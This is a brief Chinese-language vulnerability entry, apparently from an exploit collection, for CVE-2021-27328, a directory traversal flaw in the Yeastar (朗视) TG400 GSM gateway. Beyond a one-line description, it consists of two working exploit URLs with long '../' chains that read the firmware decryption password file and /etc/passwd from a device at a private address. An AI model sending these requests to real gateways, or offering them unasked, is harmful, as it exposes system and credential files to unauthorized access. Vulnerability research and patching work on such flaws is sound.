朗视 TG400 GSM 网关目录遍历 CVE-2021-27328
漏洞描述
朗视 TG400 GSM 网关存在目录遍历 ，攻击者可以通过漏洞获取敏感信息
漏洞影响
[!NOTE]
朗视 TG400 GSM 网关
漏洞复现
暂无FOFA语句及固件设备复现
获取固件解密密码
http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../bin/firmware_detect
/etc/passwd：
http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../etc/passwd